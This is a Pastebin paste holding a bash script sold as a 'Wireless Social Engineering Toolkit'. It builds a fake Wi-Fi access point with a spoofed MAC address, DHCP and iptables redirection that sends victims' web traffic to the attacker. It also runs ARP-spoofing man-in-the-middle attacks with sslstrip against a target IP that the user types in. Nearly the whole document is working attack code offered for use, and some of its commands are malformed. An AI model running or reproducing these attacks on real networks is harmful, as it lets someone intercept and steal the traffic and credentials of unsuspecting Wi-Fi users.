Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- #This is a program sets up a fake access point and redirects all traffic to
- #you...created by johnny
- #resources:
- #http://teh-geek.com/?p=512
- #forward all traffic to host:iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 10.0.0.1
- function intro {
- clear
- echo "###############################################################################"
- echo "# Wireless Social Engineering Toolkit #"
- echo "# #"
- echo "# This is a Wireless Social Engineering #"
- echo "# Toolkit that helps you with wireless attacks #"
- echo "# #"
- echo "# #"
- echo "# Created by Johnny #"
- echo "###############################################################################"
- }
- function choose {
- #lets you select the type of attack
- intro
- echo "What type of wireless attack do you want to do[1/2]?"
- echo "1. Create Access Point and Forward all internet traffic to the Internet"
- echo "2. Create Access Point and forward all traffic to your localhost"
- echo "3. Create access point and forward all traffic to your localhost and then the internet"
- echo "4. Commense mitm attack and run sslstrip"
- echo "5. Commense mitm attack and forward all internet traffic to you and then the internet after attack"
- read ATTACK
- if [ "$ATTACK" = "1" ]; then
- #setup
- attack1
- elif [ "$ATTACK" = "2" ]; then
- #attack2
- #setup
- attack2
- elif [ "$ATTACK" = "3" ]; then
- #attack3
- attack3
- elif [ "$ATTACK" = "4" ]; then
- #attack4
- attack4
- elif [ "$ATTACK" = "5" ]; then
- #attack5
- attack5
- else
- echo "Please select the correct number"
- fi
- }
- function setup {
- #setup dhcp3
- intro
- echo "Have you already set up dhcp3-server[y/n]?"
- read DHCP
- if [ "$DHCP" = "y" ]; then
- echo ""
- elif [ "$DHCP" = "n" ]; then
- echo "[>] Installing dhcp3-server[please wait]..."
- apt-get install dhcp3-server -y &>/dev/null
- echo "[>] Installation finished"
- echo "[>] Backing up dchpd.conf to /etc/dhcp3/dhcpd.conf.backup"
- mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup
- echo "[>] Seting up configuration file"
- #write to file
- echo "ddns-update-style ad-hoc;
- default-lease-time 600;
- max-lease-time 7200;
- subnet 192.168.2.128 netmask 255.255.255.128 {
- option subnet-mask 255.255.255.128;
- option broadcast-address 192.168.2.255;
- option routers 192.168.2.129;
- option domain-name-servers 8.8.8.8;
- range 192.168.2.130 192.168.2.140;
- }" > /etc/dhcp3/dhcpd.conf
- echo "[>] Finished dhcp setup"
- read -p "Press [Enter] key to continue..."
- else
- echo "Please select y or n"
- fi
- clear
- }
- function attack1 {
- #sets up values for method 1(forwards all internet traffic to internet)
- #interface
- clear
- intro
- echo What is your fake AP interface [ex.wlan0]\:
- read FAKEAP
- clear
- #connected interface
- intro
- echo What is your interface that is connected to the Internet?
- read REALAP
- clear
- #ssid
- intro
- echo SSID of your fake AP [ex.FreeHotspot with no spaces]\:
- read SSID
- clear
- #channel
- intro
- echo Channel of your fake AP [1-12]?
- read CHANNEL
- #checking
- clear
- intro
- echo "Is this what you selected?"
- echo "Fake AP interface: $FAKEAP"
- echo "Connected infterface: $REALAP"
- echo "SSID: $SSID"
- echo "Channel: $CHANNEL"
- echo
- read -p "Press [Enter] key to continue..."
- clear
- #end of setting up variables
- #load interfaces
- intro
- echo "[>] Changing fake AP MAC address to random"
- ifconfig $FAKEAP down
- macchanger -r $FAKEAP
- ifconfig $FAKEAP up
- #monitor mode
- echo "[>] Putting your interface in monitor mode"
- airmon-ng start $FAKEAP &>/dev/null
- #creating access point
- echo "[>] Creating new window for creating access point"
- gnome-terminal --title="airbase-ng" -x airbase-ng -e $SSID -c $CHANNEL mon0 &
- echo "[*] Fake AP created"
- sleep 2
- #Setting up dhcp server
- echo "[>] Setting up dhcp-server"
- ifconfig at0 up
- sleep 2
- ifconfig at0 192.168.2.129 netmask 255.255.255.128 &&
- route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129 &&
- dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0 &>/dev/null &&
- /etc/init.d/dhcp3-server start &>/dev/null &&
- #setting up iptables
- echo "[>] Setting up iptables"
- /sbin/iptables --flush && /sbin/iptables --table nat --flush && /sbin/iptables --delete-chain && /sbin/iptables --table nat --delete-chain && /sbin/iptables --table nat --append POSTROUTING --out-interface $REALAP -j MASQUERADE && /sbin/iptables --append FORWARD --in-interface at0 -j ACCEPT && echo 1 > /proc/sys/net/ipv4/ip_forward
- #exiting
- read -p "Press [Enter] key to quit..."
- echo "[>] Killing program safely"
- echo "[>] Turning off monitor mode..."
- airmon-ng stop mon0 &>/dev/null
- echo "[>] Putting interface at0 down..."
- ifconfig at0 down &>/dev/null
- echo "[>] Shutting down airbase-ng"
- killall airbase-ng
- echo "[>] Stoping dchp server"
- /etc/init.d/dhcp3-server stop &>/dev/null
- echo "[*] Thank you for using this program!"
- exit
- }
- function attack2 {
- #sets up values for method 2(forwards all internet traffic to localhost without internet)
- #interface
- clear
- intro
- echo What is your fake AP interface [ex.wlan0]\:
- read FAKEAP
- clear
- #connected interface
- intro
- echo What is your interface that is connected to the Internet?
- read REALAP
- clear
- #ssid
- intro
- echo SSID of your fake AP [ex.FreeHotspot with no spaces]\:
- read SSID
- clear
- #channel
- intro
- echo Channel of your fake AP [1-12]?
- read CHANNEL
- #checking
- clear
- intro
- echo "Is this what you selected?"
- echo "Fake AP interface: $FAKEAP"
- echo "SSID: $SSID"
- echo "Channel: $CHANNEL"
- echo
- read -p "Press [Enter] key to continue..."
- clear
- #before good after bad
- #end of setting up variables
- #load interfaces
- intro
- echo "[>] Changing fake AP MAC address to random"
- ifconfig $FAKEAP down
- macchanger -r $FAKEAP
- ifconfig $FAKEAP up
- #monitor mode
- echo "[>] Putting your interface in monitor mode"
- airmon-ng start $FAKEAP &>/dev/null
- #creating access point
- echo "[>] Creating new window for creating access point"
- gnome-terminal --title="airbase-ng" -x airbase-ng -e $SSID -c $CHANNEL mon0 &
- echo "[*] Fake AP created"
- sleep 2
- #Setting up dhcp server
- echo "[>] Setting up dhcp-server"
- ifconfig at0 up
- sleep 2
- echo "[>] Setting up iptables"
- ifconfig at0 192.168.2.129 netmask 255.255.255.128 &&
- route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129 &&
- dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0 &>/dev/null &&
- /etc/init.d/dhcp3-server start &>/dev/null &&
- #iptables
- /sbin/iptables --flush && /sbin/iptables --table nat --flush && /sbin/iptables --delete-chain && /sbin/iptables --table nat --delete-chain && /sbin/iptables --append FORWARD --in-interface at0 -j ACCEPT && echo 1 > /proc/sys/net/ipv4/ip_forward && iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.2.129
- # original tables connected to internet
- # /sbin/iptables --flush && /sbin/iptables --table nat --flush && /sbin/iptables --delete-chain && /sbin/iptables --table nat --delete-chain && /sbin/iptables --table nat --append POSTROUTING --out-interface $REALAP -j MASQUERADE && /sbin/iptables --append FORWARD --in-interface at0 -j ACCEPT && echo 1 > /proc/sys/net/ipv4/ip_forward && iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.2.129
- echo "[>] Finished"
- #--out-interface $REALAP
- #exiting
- read -p "Press [Enter] key to quit..."
- echo "[>] Killing program safely"
- echo "[>] Turning off monitor mode..."
- airmon-ng stop mon0 &>/dev/null
- echo "[>] Putting interface at0 down..."
- ifconfig at0 down &>/dev/null
- echo "[>] Shutting down airbase-ng"
- killall airbase-ng
- echo "[>] Stoping dchp server"
- /etc/init.d/dhcp3-server stop &>/dev/null
- echo "[*] Thank you for using this program!"
- exit
- }
- function attack3 {
- #sets up values for method 3(forwards all internet traffic to localhost then internet)
- #interface
- clear
- intro
- echo What is your fake AP interface [ex.wlan0]\:
- read FAKEAP
- clear
- #ssid
- intro
- echo SSID of your fake AP [ex.FreeHotspot with no spaces]\:
- read SSID
- clear
- #channel
- intro
- echo Channel of your fake AP [1-12]?
- read CHANNEL
- #checking
- clear
- intro
- echo "Is this what you selected?"
- echo "Fake AP interface: $FAKEAP"
- echo "SSID: $SSID"
- echo "Channel: $CHANNEL"
- echo
- read -p "Press [Enter] key to continue..."
- clear
- #before good after bad
- #end of setting up variables
- #load interfaces
- intro
- echo "[>] Changing fake AP MAC address to random"
- ifconfig $FAKEAP down
- macchanger -r $FAKEAP
- ifconfig $FAKEAP up
- #monitor mode
- echo "[>] Putting your interface in monitor mode"
- airmon-ng start $FAKEAP &>/dev/null
- #creating access point
- echo "[>] Creating new window for creating access point"
- gnome-terminal --title="airbase-ng" -x airbase-ng -e $SSID -c $CHANNEL mon0 &
- echo "[*] Fake AP created"
- sleep 2
- #Setting up dhcp server
- echo "[>] Setting up dhcp-server"
- ifconfig at0 up
- sleep 2
- echo "[>] Setting up iptables"
- ifconfig at0 192.168.2.129 netmask 255.255.255.128 &&
- route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129 &&
- dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0 &>/dev/null &&
- /etc/init.d/dhcp3-server start &>/dev/null &&
- #iptables
- /sbin/iptables --flush && /sbin/iptables --table nat --flush && /sbin/iptables --delete-chain && /sbin/iptables --table nat --delete-chain && /sbin/iptables --append FORWARD --in-interface at0 -j ACCEPT && echo 1 > /proc/sys/net/ipv4/ip_forward && iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.2.129
- # original tables connected to internet
- # /sbin/iptables --flush && /sbin/iptables --table nat --flush && /sbin/iptables --delete-chain && /sbin/iptables --table nat --delete-chain && /sbin/iptables --table nat --append POSTROUTING --out-interface $REALAP -j MASQUERADE && /sbin/iptables --append FORWARD --in-interface at0 -j ACCEPT && echo 1 > /proc/sys/net/ipv4/ip_forward && iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.2.129
- echo "[>] Finished"
- #--out-interface $REALAP
- #exiting
- read -p "Press [Enter] key to give them internet..."
- /sbin/iptables --flush && /sbin/iptables --table nat --flush && /sbin/iptables --delete-chain && /sbin/iptables --table nat --delete-chain && /sbin/iptables --append FORWARD --in-interface at0 -j ACCEPT && echo 1 > /proc/sys/net/ipv4/ip_forward && iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.2.129
- read -p "Press [Enter] key to quit..."
- echo "[>] Killing program safely"
- echo "[>] Turning off monitor mode..."
- airmon-ng stop mon0 &>/dev/null
- echo "[>] Putting interface at0 down..."
- ifconfig at0 down &>/dev/null
- echo "[>] Shutting down airbase-ng"
- killall airbase-ng
- echo "[>] Stoping dchp server"
- /etc/init.d/dhcp3-server stop &>/dev/null
- echo "[*] Thank you for using this program!"
- exit
- }
- function attack4 {
- #commense an mitm attack that forwards traffic
- #interface
- clear
- intro
- echo What is your interface connected to the wireless[ex.wlan0]\:
- read INTERFACE
- clear
- #target
- clear
- intro
- echo What is your target ip [ex.192.168.1.2]\:
- read TARGETIP
- clear
- #gateway
- clear
- intro
- echo What is your gateway ip [ex.192.168.1.1]\:
- read GATEWAY
- clear
- #checking
- clear
- intro
- echo "Is this what you selected?"
- echo "Your connected nterface: $INTERFACE"
- echo "Target ip: $TARGETIP"
- echo "Gateway: $GATEWAY"
- echo
- read -p "Press [Enter] key to continue..."
- clear
- echo 1 > /proc/sys/net/ipv4/ip_forward
- arpspoof -i $INTERFACE -t $TARGETIP $GATEWAY
- iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
- gnome-terminal --title="sslstrip" -x python /pentest/web/sslstrip/sslstrip.py &
- echo "[*] MITM attack finished"
- read -p "Press [Enter] key to quit..."
- echo "[>] Killing arpspoof"
- killall arpspoof
- echo "[>] Sslstrip"
- killall sslstrip
- echo "[*] Finshed"
- echo "[*] Thank you for using this program!"
- }
- function attack5 {
- #commense an mitm attack that forwards traffic to apache
- #interface
- clear
- intro
- echo What is your interface connected to the wireless[ex.wlan0]\:
- read INTERFACE
- clear
- #target
- clear
- intro
- echo What is your target ip [ex.192.168.1.2]\:
- read TARGETIP
- clear
- #gateway
- clear
- intro
- echo What is your gateway ip [ex.192.168.1.1]\:
- read GATEWAY
- clear
- #checking
- clear
- intro
- echo "Is this what you selected?"
- echo "Your connected nterface: $INTERFACE"
- echo "Target ip: $TARGETIP"
- echo "Gateway: $GATEWAY"
- echo
- read -p "Press [Enter] key to continue..."
- clear
- echo 1 > /proc/sys/net/ipv4/ip_forward &>/dev/null
- arpspoof -i $INTERFACE -t $TARGETIP $GATEWAY &>/dev/null
- iptables -t nat -A PREROUTING -p tcp --destination-port 80 &>/dev/null
- echo "[*] MITM attack finished"
- read -p "Press [Enter] key to continue..."
- echo "[>] Killing arpspoof"
- killall arpspoof
- echo "[*] Finshed"
- echo "[*] Thank you for using this program!"
- }
- #Executing here
- setup
- choose
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement